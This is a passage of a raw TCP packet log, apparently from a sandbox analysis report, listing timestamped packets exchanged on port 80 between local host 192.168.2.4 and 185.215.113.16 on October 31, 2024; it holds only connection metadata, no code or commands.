Oct 31, 2024 23:37:16.603478909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603488922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603499889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603519917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603547096 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603630066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603640079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603656054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603667021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603676081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603678942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603688002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603698015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603714943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603722095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603722095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603728056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603739977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603750944 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603750944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603775024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603790998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603802919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603828907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603828907 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603842020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603852034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603863001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.603873014 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.603895903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604059935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604070902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604079962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604090929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604100943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604101896 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604111910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604111910 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604120970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604132891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604146957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604151011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604159117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604168892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604175091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604180098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604191065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604209900 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604237080 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604264975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604274988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604285002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604305029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604312897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604322910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604332924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604343891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604357004 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604379892 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604489088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604501009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604510069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604522943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604532957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604533911 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604542971 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604571104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604656935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604667902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604677916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604705095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604765892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604778051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604787111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604798079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604809046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.604810953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604827881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.604846001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.623821974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.623888016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.623898029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.623953104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.623965025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.624001026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714112043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714123964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714137077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714142084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714147091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714152098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714157104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714163065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714344025 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714447975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714458942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714473963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714485884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714495897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714500904 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714505911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714528084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714536905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714544058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714555979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714566946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714576960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714580059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714589119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714589119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714601994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714612007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714612961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714624882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714631081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714636087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714648008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714656115 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714665890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714675903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714688063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714689016 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714699030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714699984 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714709997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714725018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714726925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714739084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714747906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714749098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714759111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714768887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714778900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714787006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714797020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714803934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714809895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714821100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714827061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714831114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714842081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714849949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714853048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714864969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.714874983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714881897 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.714911938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715007067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715018034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715028048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715034008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715038061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715054035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715061903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715090036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715145111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715154886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715188026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715281963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715292931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715302944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715318918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715333939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715339899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715346098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715357065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715357065 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715363979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715368032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715379000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715389967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715392113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715399981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715410948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715420961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715423107 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715434074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715434074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715445042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715452909 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715456963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715468884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715480089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715485096 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715511084 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715636015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715646982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715656042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715667009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715677023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715679884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715687990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715698004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715708017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715713978 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715713978 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715719938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715737104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715737104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715749979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715760946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715761900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715785980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715905905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715917110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715926886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715938091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715948105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715953112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.715959072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.715979099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716182947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716193914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716203928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716211081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716213942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716219902 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716227055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716237068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716240883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716249943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716259956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716262102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716270924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716293097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716301918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716312885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716321945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716324091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716332912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716342926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716351032 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716353893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716365099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716375113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716376066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716386080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716398954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716403008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716413021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716423035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716427088 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716432095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716443062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716453075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716458082 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716463089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716470003 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716475010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716495037 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716500998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716537952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716538906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716548920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716559887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716571093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716583014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716592073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.716603994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.716626883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.719142914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.719155073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.719170094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.719181061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.719188929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.719192028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.719203949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.719225883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.719250917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.758975983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.758986950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759002924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759012938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759023905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759030104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759041071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759049892 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759052038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759088039 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759190083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759202003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759212017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759222031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759232998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759237051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759243965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759254932 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759268045 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759392023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759779930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759790897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759799957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759819984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759823084 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759869099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759877920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759895086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759906054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759917021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759927034 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759955883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.759979963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.759989977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760000944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760010958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760016918 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760024071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760036945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760046959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760051966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760060072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760070086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760070086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760082006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760088921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760126114 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760283947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760293961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760334015 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760405064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760416031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760425091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760435104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760446072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760456085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760457993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760467052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760478020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760479927 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760488987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760493040 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760500908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760513067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.760513067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.760540962 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.806540012 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.026282072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.026911974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.026953936 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031301022 CET	80	49739	185.215.113.16	192.168.2.4
